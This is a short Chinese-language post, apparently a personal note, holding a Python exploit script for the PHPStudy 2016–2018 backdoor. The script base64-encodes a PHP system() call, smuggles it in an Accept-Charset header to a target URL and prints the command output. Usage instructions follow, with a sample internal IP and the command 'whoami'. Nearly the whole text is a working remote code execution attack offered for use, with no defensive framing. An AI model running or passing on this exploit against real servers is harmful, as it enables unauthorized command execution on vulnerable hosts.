phpstudy_2016-2018_rce
代码
import base64
import requests
import sys
banner="""
PHPStudy_2016-2018
( ) ( ) ( )
| |_ _ _ ___ | |/') _| | _ _ _ __
| '_`\ /'_` ) /'___)| , < /'_` | /'_`\ /'_`\ ( '__)
| |_) )( (_| |( (___ | |\`\ ( (_| |( (_) )( (_) )| |
(_,__/'`\__,_)`\____)(_) (_)`\__,_)`\___/'`\___/'(_)
- Order
Usage: python *.py http://10.9.47.154/phpinfo.php whoami
"""
def attack(url,cmd):
cmd=f"system('{cmd}');"
cmd=base64.b64encode(cmd.encode()).decode()
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0",
"Accept-Encoding" : "gzip,deflate",
"Accept-Charset" : f"{cmd}"
}
res=requests.get(url=url,headers=headers)
html=res.content.decode("GBK")
num=html.find("<!DOCTYPE html")
result=html[:num].strip()
return result
try:
url=sys.argv[1]
cmd=sys.argv[2]
attack(url,cmd)
except:
print(banner)
else:
print(attack(url,cmd))
使用方法
python 文件名.py 目标页面url 执行的命令
例如
python attack.py http://10.9.47.154/phpinfo.php whoami
正确执行时
错误执行时